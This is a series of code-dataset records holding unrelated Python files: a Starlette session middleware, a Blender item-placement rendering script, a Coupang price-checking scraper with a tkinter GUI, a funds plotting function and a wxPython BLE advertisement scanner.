None:\n if scope['type'] not in ('http', 'websocket'): # pragma: no cover\n await self.app(scope, receive, send)\n return\n\n connection = HTTPConnection(scope)\n initial_session_was_empty = True\n\n session_data = connection.cookies.get(self.session_cookie)\n if session_data:\n session_data = self.backend.decode(session_data)\n if session_data:\n initial_session_was_empty = False\n else:\n session_data = {}\n scope['session'] = session_data\n\n async def send_wrapper(message: Message) -> None:\n if message['type'] == 'http.response.start':\n if scope['session']:\n # We have session data to persist.\n headers = MutableHeaders(scope=message)\n header_value = '%s=%s; path=/; Max-Age=%d; %s' % (\n self.session_cookie,\n self.backend.encode(scope['session']),\n self.max_age,\n self.security_flags,\n )\n headers.append('Set-Cookie', header_value)\n elif not initial_session_was_empty:\n # The session has been cleared.\n headers = MutableHeaders(scope=message)\n header_value = '%s=%s; %s' % (\n self.session_cookie,\n 'null; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT;',\n self.security_flags,\n )\n headers.append('Set-Cookie', header_value)\n await send(message)\n\n await self.app(scope, receive, send_wrapper)\n", "repo_name": "pinecrew/joey-example-todolist", "sub_path": "middleware.py", "file_name": "middleware.py", "file_ext": "py", "file_size_in_byte": 3756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "starlette.types.ASGIApp", "line_number": 12, "usage_type": "name"}, {"api_name": "starlette.types.Scope", "line_number": 16, "usage_type": "name"}, {"api_name": "starlette.types.Receive", "line_number": 16, "usage_type": "name"}, {"api_name": "starlette.types.Send", "line_number": 16, "usage_type": "name"}, {"api_name": "base64.b64encode", "line_number": 33, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 33, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 37, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 37, "usage_type": "call"}, {"api_name": "starlette.types.ASGIApp", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 45, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 47, "usage_type": "call"}, {"api_name": "starlette.types.Scope", "line_number": 59, "usage_type": "name"}, {"api_name": "starlette.types.Receive", "line_number": 59, "usage_type": "name"}, {"api_name": "starlette.types.Send", "line_number": 59, "usage_type": "name"}, {"api_name": "starlette.requests.HTTPConnection", "line_number": 64, "usage_type": "call"}, {"api_name": "starlette.types.Message", "line_number": 76, "usage_type": "name"}, {"api_name": "starlette.datastructures.MutableHeaders", "line_number": 80, "usage_type": "call"}, {"api_name": "starlette.datastructures.MutableHeaders", "line_number": 90, "usage_type": "call"}]} +{"seq_id": "42995899754", "text": "#The script is used to automatically produce photorealistic picture with\n#randomly placed items on the shelf.\n\nimport bpy, math, random, mathutils\nfrom mathutils import Vector\n\nSeed = 444\nitemsPath = \"/home/hugh/Pictures/item1.blend\"\nobjectTypes = [\"item1\",\"item2\",\"item3\",\"item4\",\"item5\"]\noutputPath = \"/home/hugh/Pictures/blender_output/\"\ncameras = [\"Camera\"] #Add more cameras later\n\nitemsNum = 5\ndz = 0.54\nradius = 0.2\n\ndef addSceneSettings(scn):\n # SceneData\n scn.frame_start = 0\n scn.frame_end = 200\n scn.frame_step = 10\n \n #RenderData\n rd = scn.render\n rd.fps = 24\n rd.resolution_x = 256\n rd.resolution_y = 256\n return\n\ndef addItemSettings(obj, loc):#, rot):\n #location and rotation\n bpy.data.objects[obj].select = True\n bpy.data.objects[obj].location = loc\n #bpy.data.objects[obj].location = rot\n\n #rigid_body properties\n bpy.ops.rigidbody.objects_add(type='ACTIVE')\n bpy.data.objects[obj].rigid_body.collision_shape=\"CONVEX_HULL\"\n bpy.data.objects[obj].rigid_body.collision_margin = 0.0\n #Add damping to stablize the items\n bpy.data.objects[obj].rigid_body.linear_damping = 0.6\n bpy.data.objects[obj].rigid_body.angular_damping = 0.6\n return\n\ndef importItem(object):\n blendfile = itemsPath\n section = \"/Object/\"\n filepath = blendfile + section + object\n filename = object\n directory = blendfile + section\n bpy.ops.wm.append(filepath=filepath, filename=filename, directory=directory)\n return\n \ndef isValidloc(vec, list):\n if (vec[0] > 0) | (vec[1] > 0):\n # The item is not overlapped with the cube\n if vec[0]**2 + vec[1]** 2 < (radius - 0.05) **2:\n # The item is on the shelf\n for loc in list:\n dist = math.sqrt((vec[0] - loc[0])**2 +\n (vec[1] - loc[1])**2 +\n (vec[2] - loc[2])**2) \n if dist < 0.05:\n #distance btw each item is greater than 0.1\n return False\n return True\n return False\n \ndef locGen():\n dx = random.randrange(0, 15, 1) / 100.0\n dy = random.randrange(0, 15, 1) / 100.0\n return Vector((dx,dy,dz))\n\ndef rotGen():\n x1 = random.randrange(0,360,1)\n x2 = random.randrange(0,360,1)\n x3 = random.randrange(0,360,1)\n return Vector((x1,x2,x3))\n\ndef vecListGen(itemsNum, vecGen, isLoc=1):\n list = []\n for i in range(itemsNum):\n loc = vecGen()\n print(loc)\n if isLoc:\n while(not isValidloc(loc, list)):\n loc = vecGen()\n else:\n loc = vecGen\n list.append(loc)\n return list\n\ndef run():\n #Change render engine to CYCLES\n bpy.context.scene.render.engine = 'CYCLES'\n\n #set the shelf active\n shelf = bpy.data.objects[\"ShapeIndexedFaceSet\"]\n bpy.context.scene.objects.active = shelf\n shelf.select=True\n #Add the shelf to rigid_body world\n bpy.ops.rigidbody.objects_add(type='PASSIVE')\n shelf.rigid_body.collision_shape=\"CONVEX_HULL\"\n shelf.rigid_body.collision_margin = 0.0\n shelf.rigid_body.linear_damping = 0.6\n shelf.rigid_body.angular_damping = 0.6\n \n #Placing the items\n objects = []\n phi = -90\n deg2rad = math.pi / 180\n radius = 0.1\n #random.seed(Seed)\n locs = vecListGen(itemsNum, locGen, isLoc=1)\n# rots = vecListGen(itemsNum, rotGen, isLoc=0)\n for obj in objectTypes:\n importItem(obj)\n object = bpy.data.objects[obj]\n objects.append(object)\n object.select = False\n object.rotation_euler = rotGen()\n for i,obj in enumerate(objectTypes):\n addItemSettings(obj, locs[i])#, rots[i])\n \n for cam in cameras:\n print(\"Rendering...\")\n #bpy.ops.render.render(animation=True)\n\n \n for object in objects:\n object.select=True\n #bpy.ops.object.delete()\n return\n\nif __name__ == \"__main__\":\n scn = bpy.data.scenes[\"Scene\"]\n random.shuffle(objectTypes)\n addSceneSettings(scn) \n run()\n print(\"Rendering completed\")", "repo_name": "branchvincent/arc-reactor", "sub_path": "src/perception/blender_modeling/rendering_demo.py", "file_name": "rendering_demo.py", "file_ext": "py", "file_size_in_byte": 4042, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "bpy.data", "line_number": 32, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 33, "usage_type": "attribute"}, {"api_name": "bpy.ops.rigidbody.objects_add", "line_number": 37, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 37, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 38, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 39, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 41, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 42, "usage_type": "attribute"}, {"api_name": "bpy.ops.wm.append", "line_number": 51, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 51, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 60, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 70, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 71, "usage_type": "call"}, {"api_name": "mathutils.Vector", "line_number": 72, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 75, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 76, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 77, "usage_type": "call"}, {"api_name": "mathutils.Vector", "line_number": 78, "usage_type": "call"}, {"api_name": "bpy.context", "line_number": 95, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 98, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 99, "usage_type": "attribute"}, {"api_name": "bpy.ops.rigidbody.objects_add", "line_number": 102, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 102, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 111, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 118, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 136, "usage_type": "attribute"}, {"api_name": "random.shuffle", "line_number": 137, "usage_type": "call"}]} +{"seq_id": "4540894400", "text": "import tkinter\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom tkinter import *\nfrom tkinter import messagebox\n\n\ndef defineHeaders():\n headers = {\"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\"}\n return headers\n\n\n\ndef nheelProj(headers, id, url, price):\n try:\n response = requests.get(url, headers=defineHeaders())\n except requests.exceptions.Timeout as errd:\n print(\"Timeout error : \", errd)\n except requests.exceptions.ConnectionError as errd:\n print(\"Connection error : \", errd)\n except requests.exceptions.HTTPError as errd:\n print(\"HTTP error : \", errd)\n except requests.exceptions.RequestException as errd:\n print(\"Exception : \", errd)\n\n if response.status_code == 200:\n html = response.text\n soup = BeautifulSoup(html, 'html.parser')\n try:\n title = soup.select_one('div.prod-price-container > div.prod-price > div.prod-price-onetime > div.prod-sale-price > span.total-price > strong')\n if title == None:\n title2 = soup.select_one('div.prod-price-container > div.prod-price > div.prod-price-onetime > div.prod-coupon-price > span.total-price > strong')\n coupang_price = title2.get_text().split('원')[0]\n else:\n coupang_price = title.get_text().split('원')[0]\n except AttributeError as e:\n messagebox.showinfo(\"오류\", e)\n print(e)\n\n coupang_price = int(coupang_price.replace(',', ''))\n original_price = int(price)\n flag = 0\n if (coupang_price > original_price + 1000) :\n flag = 1\n if (coupang_price < original_price - 1000) :\n flag = -1\n\n\n if (flag == -1) :\n return 'id: ('+ id + ')는 현재 쿠팡가는 ('+ str(coupang_price) +')로 기존 쿠팡가 ('+ str(original_price) + ')보다 1,000원 이상 낮습니다. \\n'\n elif (flag == 1):\n return 'id: ('+ id + ')는 현재 쿠팡가는 ('+ str(coupang_price) +')로 기존 쿠팡가 ('+ str(original_price) + ')보다 1,000원 이상 높습니다. \\n'\n\n else :\n return 'id: ('+ id + ')는 이상 없습니다. \\n'\n else:\n print(response.status_code)\n\nif __name__ == \"__main__\":\n product_list = []\n product = []\n\n # 가장 상위 레벨의 윈도우 창 생성\n window = tkinter.Tk()\n\n window.title(\"nheel_proj_V1\")\n window.geometry(\"640x600+100+100\")\n\n #resize 안에 param에 0 = false , 1 = true로 지정 가능\n # (상하, 좌우)를 의미한다.\n window.resizable(False, False)\n\n\n # 입력된 값 가져오기\n def getTextInput():\n result = excelInput.get(1.0, \"end-1c\")\n beforProduct = result.split('\\r\\n')\n print(beforProduct)\n # for i in beforProduct:\n # if (i!=''):\n # product.insert(tkinter.END,i)\n for i in beforProduct:\n if(i!=''):\n product = i.split('\\t')\n product_list.append(product)\n print(product)\n userAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'\n finalResult = \"\"\n for i in range(0, len(product_list)):\n finalResult = nheelProj(userAgent, product_list[i][0], product_list[i][1],int(product_list[i][2].replace(',', '')))+'\\n'\n resultText.insert(END, finalResult)\n\n tkinter.messagebox.showinfo(title='종료알림창', message='짠! 크롤링이 종료되었습니다.')\n tkinter.messagebox.showinfo(title='종료알림창', message='알지에게 도움이 되길 바라며!')\n\n\n\n\n #위젯 이름을 사용하여 label 사용 가능\n label = tkinter.Label(window, text=\"RG's COUPANG Crawling\")\n label.pack()\n #label 끝\n\n #Input 시작\n excelInput = tkinter.Text(window, height=10)\n excelInput.pack()\n #Input 끝\n\n\n #Button 시작\n btnClick = tkinter.Button(window, height=1, width=10, text='click', command=getTextInput)\n btnClick.pack()\n #Button 끝\n\n #result 시작\n resultText = Listbox(window, width=300, height=20, font=('helvetica', 12))\n resultText.pack(side='left', fill='y')\n #result 끝\n\n #scollbar 시작\n scrollbar = Scrollbar(window, orient='vertical')\n scrollbar.configure(command=resultText.yview)\n scrollbar.pack(side='right', fill='y')\n\n resultText.configure(yscrollcommand=scrollbar.set)\n\n\n # 윈도우가 종료될 때까지 창 실행\n window.mainloop()", "repo_name": "gxdxt/python", "sub_path": "practice/nheel_proj/nheel_proj_V1.py", "file_name": "nheel_proj_V1.py", "file_ext": "py", "file_size_in_byte": 4619, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 18, "usage_type": "attribute"}, {"api_name": "requests.exceptions", "line_number": 20, "usage_type": "attribute"}, {"api_name": "requests.exceptions", "line_number": 22, "usage_type": "attribute"}, {"api_name": "requests.exceptions", "line_number": 24, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 29, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 38, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 38, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 65, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 94, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 94, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 95, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 101, "usage_type": "call"}, {"api_name": "tkinter.Text", "line_number": 106, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 112, "usage_type": "call"}]} +{"seq_id": "13790524018", "text": "import pandas as pd\nimport matplotlib.pyplot as plt\nfrom .data import data\n\n\ndef funds_change_over_time(params, Sdk) :\n \"\"\"\n [ {'cycles': 10, 'avg_funds': 0.15, 'current_funds': 0.15} ]\n \"\"\"\n\n SMALL_SIZE = 6\n MEDIUM_SIZE = 10\n BIGGER_SIZE = 12\n plt.rc('font', size=SMALL_SIZE)\n plt.rc('axes', titlesize=MEDIUM_SIZE)\n plt.rc('axes', labelsize=MEDIUM_SIZE)\n plt.rc('xtick', labelsize=SMALL_SIZE)\n plt.rc('ytick', labelsize=SMALL_SIZE)\n plt.rc('legend', fontsize=MEDIUM_SIZE)\n plt.rc('figure', titlesize=BIGGER_SIZE)\n\n if params['test'] :\n events = data()\n else :\n events = Sdk.Local.get_events(\n type=\"fill\",\n strategy=params['strategy'],\n session=params['session'],\n fields=['avg_funds', 'current_funds', 'cycles']\n )\n\n df = pd.DataFrame({\n 'Average Funds': [el['avg_funds'] for el in events],\n 'Current Funds': [el['current_funds'] for el in events],\n }, index=[el['cycles'] for el in events])\n\n df['Current Funds'].plot(color=\"blue\", linewidth=1, marker='o', markersize=4, markeredgecolor='black', markeredgewidth=1, markerfacecolor='blue', y=\"Current Funds\", alpha=0.3)\n df['Average Funds'].plot(color=\"red\", linewidth=2, marker='o', markersize=6, markeredgecolor='black', markeredgewidth=1, markerfacecolor='red', y=\"Average Funds\", alpha=0.6)\n\n plt.title('Current Funds and Cumulative Avgerage Funds')\n plt.xlabel('Cycles Across Time')\n plt.ylabel('Funds')\n plt.show()\n", "repo_name": "the-launch-tech/cryptodock-suite", "sub_path": "cryptodock_suite/actions/funds_change_over_time/funds_change_over_time.py", "file_name": "funds_change_over_time.py", "file_ext": "py", "file_size_in_byte": 1525, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matplotlib.pyplot.rc", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "data.data", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}]} +{"seq_id": "72925363485", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#############################################################################\n# bleak_scanner_construct module\n#############################################################################\n\nimport logging\nimport re\nimport asyncio\nfrom functools import partial\nfrom threading import Thread\nimport subprocess\nimport wx\nfrom .wx_logging_plugin import WxLogging\nfrom bleak import BleakScanner, BleakError # pip3 install bleak\nfrom construct_gallery import ConstructGallery\nimport bleak\n\n\nclass FilterEntryDialog(wx.Dialog):\n def __init__(\n self,\n parent,\n caption,\n mac_title,\n mac_default_value,\n filter_hint_mac,\n name_title,\n name_default_value,\n filter_hint_name,\n button_style):\n dialog_style = wx.DEFAULT_DIALOG_STYLE\n super(FilterEntryDialog, self).__init__(\n parent, -1, caption, style=dialog_style)\n\n sizer = wx.BoxSizer(wx.VERTICAL)\n\n box = wx.BoxSizer(wx.HORIZONTAL)\n mac_text = wx.StaticText(self, -1, mac_title, size=(230,-1))\n box.Add(mac_text, 0, wx.ALIGN_CENTRE|wx.ALL, 5)\n mac_input = wx.TextCtrl(self, -1, mac_default_value, size=(200,-1))\n if filter_hint_mac:\n mac_input.SetHint(filter_hint_mac)\n box.Add(mac_input, 1, wx.ALIGN_CENTRE|wx.ALL, 5)\n sizer.Add(box, 0, wx.GROW|wx.ALL, 5)\n\n box = wx.BoxSizer(wx.HORIZONTAL)\n name_text = wx.StaticText(self, -1, name_title, size=(230,-1))\n box.Add(name_text, 0, wx.ALIGN_CENTRE|wx.ALL, 5)\n name_input = wx.TextCtrl(self, -1, name_default_value, size=(200,-1))\n if filter_hint_name:\n name_input.SetHint(filter_hint_name)\n box.Add(name_input, 1, wx.ALIGN_CENTRE|wx.ALL, 5)\n buttons = self.CreateButtonSizer(button_style)\n sizer.Add(box, 0, wx.GROW|wx.ALL, 5)\n\n label = wx.StaticText(\n self, -1, \"Multiple elements are allowed (separated by comma).\")\n sizer.Add(label, 0, wx.ALIGN_RIGHT|wx.ALL, 15)\n\n sizer.Add(buttons, 0, wx.EXPAND|wx.ALL, 5)\n self.SetSizerAndFit(sizer)\n self.mac_input = mac_input\n self.name_input = name_input\n\n def SetMacValue(self, value):\n self.mac_input.SetValue(value)\n\n def GetMacValue(self):\n return self.mac_input.GetValue()\n\n def SetNameValue(self, value):\n self.name_input.SetValue(value)\n\n def GetNameValue(self):\n return self.name_input.GetValue()\n\n\nclass BleakScannerConstruct(ConstructGallery):\n bleak_stop_event = None\n bleak_event_loop = None\n bluetooth_thread = None\n filter_mac = \"\"\n filter_name = \"\"\n\n def __init__(\n self,\n *args,\n filter_hint_mac=None,\n filter_hint_name=None,\n reference_label=\"MAC address\",\n load_menu_label=\"Log Data and Configuration\",\n clear_label=\"Log Data\",\n added_data_label=\"Logging data\",\n logging_plugin=True,\n auto_ble_start=False,\n bleak_scanner_kwargs={},\n **kwargs):\n super().__init__(\n *args,\n reference_label=reference_label,\n load_menu_label=load_menu_label,\n clear_label=clear_label,\n added_data_label=added_data_label,\n **kwargs)\n self.filter_hint_mac = filter_hint_mac\n self.filter_hint_name = filter_hint_name\n self.bleak_scanner_kwargs = bleak_scanner_kwargs\n\n # Start and stop buttons\n controlSizer = wx.StaticBoxSizer(\n wx.HORIZONTAL,\n self,\n label=\"BLE control\")\n\n self.startButton = wx.Button(self, wx.ID_ANY, label=\"Start\")\n self.startButton.Bind(wx.EVT_BUTTON, lambda event: self.ble_start())\n controlSizer.Add(self.startButton, 1, wx.EXPAND | wx.RIGHT, 5)\n\n self.filterButton = wx.Button(self, wx.ID_ANY, label=\"Filter\")\n self.filterButton.Bind(wx.EVT_BUTTON, self.on_filter)\n controlSizer.Add(self.filterButton, 1, wx.EXPAND | wx.CENTER, 5)\n\n self.stopButton = wx.Button(self, wx.ID_ANY, label=\"Stop\")\n self.stopButton.Enable(False)\n self.stopButton.Bind(wx.EVT_BUTTON, lambda event: self.ble_stop())\n controlSizer.Add(self.stopButton, 1, wx.EXPAND | wx.LEFT, 5)\n\n self.vsizer.Insert(self.control_position, controlSizer, 0, wx.EXPAND | wx.CENTER)\n if logging_plugin:\n self.wx_log_window = WxLogging(self, logging.getLogger())\n\n if auto_ble_start:\n wx.CallLater(200, self.ble_start)\n\n def add_packet_frame(self, *args, **kwargs):\n return wx.CallAfter(self.add_data, *args, **kwargs)\n\n def on_filter(self, event):\n mac = None\n name = None\n dlg = FilterEntryDialog(\n self,\n \"Filtering Settings\",\n 'Enter a MAC or the initial portion of a MAC:',\n self.filter_mac,\n self.filter_hint_mac,\n 'Enter a local name or its initial portion:',\n self.filter_name,\n self.filter_hint_name,\n button_style=wx.OK|wx.CANCEL)\n if dlg.ShowModal() == wx.ID_OK:\n mac = dlg.GetMacValue()\n name = dlg.GetNameValue()\n dlg.Destroy()\n if mac is not None:\n self.filter_mac = mac\n if name is not None:\n self.filter_name = name\n\n def ble_start(self, bleak_scanner_kwargs=None):\n if bleak_scanner_kwargs is None:\n bleak_scanner_kwargs = self.bleak_scanner_kwargs\n if self.bluetooth_thread and self.bluetooth_thread.is_alive():\n return\n self.bluetooth_thread = Thread(\n target=lambda: asyncio.run(self.bt_adv(bleak_scanner_kwargs)))\n logging.warning(\"BLE thread started.\")\n self.bluetooth_thread.start()\n self.startButton.Enable(False)\n self.stopButton.Enable(True)\n self.wx_log_window.log_window.Show()\n wx.CallLater(500, self.status_message, f\"BLE started.\")\n wx.CallLater(1000, self.GetTopLevelParent().Raise)\n\n def ble_stop(self):\n if (not self.bluetooth_thread or\n not self.bluetooth_thread.is_alive() or\n not self.bleak_stop_event):\n return\n if not self.bleak_stop_event.is_set():\n self.bleak_stop_event.set()\n if self.bluetooth_thread:\n self.bluetooth_thread.join(1)\n self.startButton.Enable(True)\n self.stopButton.Enable(False)\n logging.warning(\"stop\")\n self.status_message(f\"BLE stopped.\")\n\n def on_application_close(self):\n self.ble_stop()\n if hasattr(self, 'pyshell') and self.pyshell:\n self.pyshell.Destroy()\n\n async def bt_adv(self, bleak_scanner_kwargs):\n self.bleak_stop_event = asyncio.Event()\n self.bleak_event_loop = asyncio.get_event_loop()\n\n def detection_callback(device, advertisement_data):\n found = False\n for i in re.split('; |, ', self.filter_mac):\n if i and device.address.upper().startswith(i.upper()):\n found = True\n break\n if i and not found:\n return\n found = False\n for i in re.split('; |, ', self.filter_name):\n if (i and advertisement_data.local_name and\n advertisement_data.local_name.startswith(i)):\n found = True\n break\n if i and not found:\n return\n self.bleak_advertising(device, advertisement_data)\n\n if (\n bleak_scanner_kwargs.get('scanning_mode').lower() == 'passive'\n and \"BleakScannerBlueZDBus\" in str(\n bleak.get_platform_scanner_backend_type()\n )\n ):\n from bleak.assigned_numbers import AdvertisementDataType\n from bleak.backends.bluezdbus.advertisement_monitor import OrPattern\n from bleak.backends.bluezdbus.scanner import (\n BlueZScannerArgs, BlueZDiscoveryFilters\n )\n ble_z_args = {\n 'bluez': BlueZScannerArgs(\n or_patterns=[\n OrPattern(0, AdvertisementDataType.FLAGS, b\"\\x06\"),\n OrPattern(0, AdvertisementDataType.FLAGS, b\"\\x1a\"),\n ]\n )\n }\n bleak_scanner_kwargs = {**bleak_scanner_kwargs, **ble_z_args}\n subprocess.run(\n \"which hcitool && sudo -n hcitool cmd 0x08 0x000C 0x00 0x00\"\n \" && sudo -n hcitool cmd 0x08 0x000C 0x01 0x00\",\n shell=True,\n capture_output=True\n )\n try:\n async with BleakScanner(\n detection_callback=partial(detection_callback),\n **bleak_scanner_kwargs\n ) as scanner:\n await self.bleak_stop_event.wait()\n except (FileNotFoundError, BleakError) as e:\n logging.critical(\"Critical error: Bluetooth not available. %s\", e)\n self.stopButton.Enable(False)\n self.startButton.Enable(True)\n self.status_message(f\"BLE started.\")\n self.status_message(\n \"Critical error: Bluetooth not available. \" + str(e)\n )\n logging.warning(\"BLE thread stopped.\")\n\n # This method must be overridden\n def bleak_advertising(self, device, advertisement_data):\n logging.info(\n \"Advertising: device=%s, advertisement_data=%s\",\n device, advertisement_data)\n", "repo_name": "Ircama/construct-gallery", "sub_path": "construct_gallery/bleak_scanner_construct.py", "file_name": "bleak_scanner_construct.py", "file_ext": "py", "file_size_in_byte": 9687, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "wx.Dialog", "line_number": 20, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 32, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 36, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 36, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 38, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 38, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 39, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTRE", "line_number": 40, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 40, "usage_type": "attribute"}, {"api_name": "wx.TextCtrl", "line_number": 41, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTRE", "line_number": 44, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 44, "usage_type": "attribute"}, {"api_name": "wx.GROW", "line_number": 45, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 45, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 47, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 47, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 48, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTRE", "line_number": 49, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 49, "usage_type": "attribute"}, {"api_name": "wx.TextCtrl", "line_number": 50, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTRE", "line_number": 53, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 53, "usage_type": "attribute"}, {"api_name": "wx.GROW", "line_number": 55, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 55, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 57, "usage_type": "call"}, {"api_name": "wx.ALIGN_RIGHT", "line_number": 59, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 59, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 61, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 61, "usage_type": "attribute"}, {"api_name": "construct_gallery.ConstructGallery", "line_number": 79, "usage_type": "name"}, {"api_name": "wx.StaticBoxSizer", "line_number": 111, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 112, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 116, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 116, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 117, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 118, "usage_type": "attribute"}, {"api_name": "wx.RIGHT", "line_number": 118, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 120, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 120, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 121, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 122, "usage_type": "attribute"}, {"api_name": "wx.CENTER", "line_number": 122, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 124, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 124, "usage_type": "attribute"}, {"api_name": "wx.EVT_BUTTON", "line_number": 126, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 127, "usage_type": "attribute"}, {"api_name": "wx.LEFT", "line_number": 127, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 129, "usage_type": "attribute"}, {"api_name": "wx.CENTER", "line_number": 129, "usage_type": "attribute"}, {"api_name": "wx_logging_plugin.WxLogging", "line_number": 131, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 131, "usage_type": "call"}, {"api_name": "wx.CallLater", "line_number": 134, "usage_type": "call"}, {"api_name": "wx.CallAfter", "line_number": 137, "usage_type": "call"}, {"api_name": 